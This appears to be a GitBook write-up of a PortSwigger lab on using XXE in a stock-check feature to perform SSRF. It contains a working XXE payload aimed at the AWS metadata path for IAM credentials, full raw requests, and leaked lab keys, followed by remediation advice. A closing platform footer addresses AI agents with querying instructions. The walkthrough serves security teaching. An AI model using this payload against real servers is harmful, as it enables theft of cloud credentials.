> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xxe-to-perform-ssrf-attacks.md).

# Lab: Exploiting XXE to perform SSRF attacks

**Lab:** [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf) **Difficulty:** Apprentice **Category:** XML External Entity (XXE) Injection → Server-Side Request Forgery (SSRF) **Target:** `0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net` **Objective:** Exploit the XXE vulnerability in the stock checker to make the server request the EC2 metadata endpoint and leak the IAM `SecretAccessKey`. **Result:** ✅ Solved

***

### Part 1: What is SSRF? (Explained Simply)

**Server-Side Request Forgery (SSRF)** is a vulnerability where an attacker tricks a *server* into making an HTTP (or other) request on the attacker's behalf — to a destination the attacker chooses, not the application developer.

Normally, when an app needs to fetch some data (an avatar image, a webhook, a stock check), **the server** makes that outbound request, not the visitor. If an attacker can control *where* that outbound request goes, they can make the trusted server reach places the attacker could never reach directly -internal admin panels, databases, or cloud metadata services only accessible from inside the network.

#### Why is this dangerous?

* The server usually sits **inside** a trusted network perimeter (a VPC, an internal LAN) that outsiders can't access directly.
* Cloud servers (AWS, Azure, GCP) expose an internal-only **metadata endpoint** with instance configuration — including, on AWS, temporary IAM credentials.
* If an attacker makes the server request that metadata endpoint and reflect the response, they've turned the server into a proxy into "trusted-only" territory.

#### Normal request flow vs. SSRF

```mermaid
sequenceDiagram
    participant U as Normal User
    participant S as Web Server
    participant I as Internal-Only Resource<br/>(metadata / admin panel / DB)

    U->>S: Legitimate request (e.g. "check stock")
    S->>S: Processes request as designed
    Note over S: Server never intentionally<br/>contacts internal-only resources<br/>on the user's behalf
    S-->>U: Normal response
```

```mermaid
sequenceDiagram
    participant A as Attacker
    participant S as Web Server
    participant I as Internal-Only Resource<br/>(e.g. 169.254.169.254 metadata)

    A->>S: Crafted request that controls<br/>a URL the server will fetch
    Note over S: Server blindly follows the<br/>attacker-supplied URL
    S->>I: Outbound request to internal resource<br/>(reachable only from inside the network)
    I-->>S: Sensitive internal data<br/>(e.g. IAM credentials)
    S-->>A: Response reflects the internal data back
    Note over A: Attacker now has data they<br/>could never reach directly
```

#### Common SSRF targets

| Target                                                        | Why it matters                                                          |
| ------------------------------------------------------------- | ----------------------------------------------------------------------- |
| Cloud metadata endpoints (`169.254.169.254` on AWS/GCP/Azure) | Can leak temporary IAM credentials, instance details, user-data scripts |
| Internal admin panels / dashboards                            | Often have no auth because they "trust" internal traffic                |
| Internal-only APIs / microservices                            | May trust requests just because they originate server-side              |
| `localhost` / `127.0.0.1` on the server itself                | Can expose local-only services (admin interfaces, debug endpoints)      |
| Internal network ranges (`10.x`, `192.168.x`, `172.16-31.x`)  | Port-scanning internal infrastructure                                   |

#### How XXE enables SSRF

An **external entity** can point at a URL just as easily as a local file:

```xml
<!ENTITY xxe SYSTEM "http://internal-target/">
```

When the vulnerable parser resolves this entity, it's the **server itself** making the HTTP request — the textbook definition of SSRF. XXE is just one of many ways to *achieve* SSRF; a `url=` parameter on an unsafe image-fetch feature could achieve the exact same impact.

***

### Part 2: The Lab

#### Concept

The "Check stock" feature parses XML and reflects unexpected values back in the response — same reflection primitive as the file-retrieval lab, but here the external entity targets the AWS EC2 metadata service (`http://169.254.169.254/`) instead of a local file. Walking the metadata API path by path leads to the IAM credentials endpoint, leaking the `SecretAccessKey`.

#### Step 1 — Identify the vulnerable request

Visit a product page, click **"Check stock"**, and intercept the request in Burp Suite:

```
POST /product/stock HTTP/2
Host: 0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net
Cookie: session=2c9tWAOXN3H6kwUMuK7oT7HaZA20RWOv; perf_dv6Tr4n=1
Content-Length: 107
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```

<figure><img src="/files/i32Bs5bL0prQEv1p6xbG" alt=""><figcaption></figcaption></figure>

Send it to Repeater.

#### Step 2 — Walk (or jump straight to) the credentials path

The known IAM credentials path for this lab's simulated "admin" role is:

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
```

(If the role name isn't known in advance, walk it manually: `/` → `latest` → `meta-data` → `iam` → `security-credentials` → returns the role name, e.g. `admin` → append it for the final credentials JSON.)

```mermaid
flowchart LR
    A["/"] -->|response: latest| B["/latest/"]
    B -->|response: meta-data| C["/latest/meta-data/"]
    C -->|response: iam| D["/latest/meta-data/iam/"]
    D -->|response: security-credentials| E["/latest/meta-data/iam/security-credentials/"]
    E -->|response: admin| F["/latest/meta-data/iam/security-credentials/admin"]
    F -->|response: JSON with SecretAccessKey| G[Leaked IAM credentials]
```

#### Step 3 — Final payload

```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

**Full raw request sent:**

```
POST /product/stock HTTP/2
Host: 0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net
Cookie: session=2c9tWAOXN3H6kwUMuK7oT7HaZA20RWOv; perf_dv6Tr4n=1
Content-Length: 279
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2a00c104b8e5ff808e448e0021004e.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

<figure><img src="/files/2SoQuOf5MRKQD59I2HZW" alt=""><figcaption></figcaption></figure>

#### Step 4 — Response received

<figure><img src="/files/QooxLmwRBNTBwupJQuLt" alt=""><figcaption></figcaption></figure>

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2026-07-29T05:39:49.122258543Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "wSJFLaynXzCisZRumnzo",
  "SecretAccessKey" : "IsKX9O1AhQjEbUcFQBlRT6Ohz0332b4XyEb2vA9X",
  "Token" : "NUAwLyf52gRdBqfehvj48uWoRHWEm24Uo2FH8bJvgDtjE00fluoM502pgL5xz1JiKE68NDhijmSrVXvFNUOxAmkSvsMpjgjieULK8H7B60MP2qf751C1jnvV12rikRvwoweTzSducNi2jeG7WjzY1Fqoyrn3eqMKsCdW8Ze7lZVc13K9WgRh5MJjzgERXArhLd99wuxmy4ZLbC88TxFZorImdlnLGgq9OnRNfR0NOlYSQFI3GCCvv2gA5uD704Ax",
  "Expiration" : "2032-07-27T05:39:49.122258543Z"
}"
```

The `400 Bad Request` status is expected — the app returns it because `1` wasn't a valid product ID once substituted; that's irrelevant to the lab's success condition, since the metadata JSON is fully present in the response body regardless.

***

### Root Cause

Same underlying flaw as the file-retrieval lab, the parser resolves external entities defined in a user-controlled `DOCTYPE`, and the parsed value is reflected in the response. Here, the entity's target is `http://` instead of `file://`, reaching an internal-only network resource and turning file disclosure into full SSRF.

### Remediation

* Disable DTD processing / external entity resolution in the XML parser — the same fix as classic XXE, since SSRF-via-XXE is a direct consequence of the same misconfiguration.
* Block server egress to `169.254.169.254` unless explicitly required, or enforce **IMDSv2** on AWS (requires a session token via `PUT` first, making it far harder to abuse via simple SSRF like this).
* Apply least-privilege IAM roles to instances so leaked credentials have minimal blast radius.

***

### Key Takeaway

SSRF isn't a separate bug from XXE here — it's XXE's *impact* when the external entity target is a URL instead of a file path. Whenever reflected XXE is found, test both `file://` targets (local disclosure) and `http://` targets pointed at internal/cloud-metadata addresses (SSRF) — the same primitive often unlocks both.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xxe-to-perform-ssrf-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
